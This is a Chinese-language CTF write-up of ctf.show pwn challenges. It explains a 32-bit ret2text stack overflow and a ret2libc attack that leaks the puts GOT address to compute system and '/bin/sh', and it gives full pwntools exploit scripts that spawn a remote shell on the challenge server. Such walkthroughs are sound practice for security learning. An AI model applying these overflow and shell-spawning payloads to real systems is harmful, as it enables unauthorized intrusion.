pwn 簽到題
nc 連上就有flag
pwn 02
簡單的ret2txt
先檢驗一下文件
是32位文件
且只有堆棧不可執行保護
checksec 結果可參考checksec
在ubuntu上運行
存在棧溢出
用IDApro 32位 打開
首先看main函數
那么接着跟到pwnme函數
可以看到buf只有9個字節 而fgets讀入了50個字節,所以就導致了棧溢出
進入char s
可以看到從第一個s開始輸入只需輸入9+4=13個臟數據
然后加上ret要返回的/bin/sh的地址即可得到shell
需要找到/bin/sh
發現了stack函數 所以只需要將ret指向stack函數首地址即可得到shell
故exp:
from pwn import * content = 1 def main(): if content == 0: p = process("./stack") else : p = remote("pwn.challenge.ctf.show",28137) payload = b'a'*13 payload += p32(0x804850F) p.sendline(payload) p.interactive() main()
運行得到flag
pwn 03
ret2libc
同上
堆棧不可執行
拖入IDA,先看main函數
再看pwnme
存在棧溢出 進入s
需要輸入9+4=13個臟數據 然后ret指向shellcode "/bin/sh"
但是程序里沒有system函數,無法直接調用
這個時候就涉及到plt表和got表了 程序執行后,plt表里是got表的地址,got表是函數的真實地址 程序還未執行時,got表里還是plt表的地址 我們需要泄漏got表里的地址,由於開啟了ASLR,本地和遠程的地址不一樣 但也只是針對於地址中間位進行隨機,最低的12位並不會發生改變 也就是我們需要獲取到遠程環境的函數的真實地址 進而判斷libc的版本,計算泄漏的函數got表的地址與system的偏移,然后獲取到system函數的真實地址,進而計算system函數與/bin/sh的偏移,最終getshell
我們利用puts函數來進行這一步
exp:
from pwn import * content = 1 def main(): if content == 0: p = process("./stack1") else: p = remote("pwn.challenge.ctf.show",28169) elf = ELF("./stack1") puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] payload = b"a"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload) p.recvuntil('\n\n') get_addr = u32(p.recv(4)) print(hex(get_addr))
運行腳本
然后到libcsearch網站 libc database search
輸入puts 和 得到地址的后三位
找到對應libc
進入得到偏移信息
最終exp:
from pwn import * content = 1 def main(): if content == 0: p = process("./stack1") else: p = remote("pwn.challenge.ctf.show",28109) elf = ELF("./stack1") puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] payload = b"a"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got) p.sendline(payload) p.recvuntil('\n\n') get_addr = u32(p.recv(4)) print(hex(get_addr)) libcbase = get_addr - 0x067360 system_addr = libcbase + 0x03cd10 bin_sh = libcbase + 0x17b8cf payload = flat([b'A'*13,system_addr,b'AAAA',bin_sh]) p.sendline(payload) p.interactive()main()
運行腳本得到flag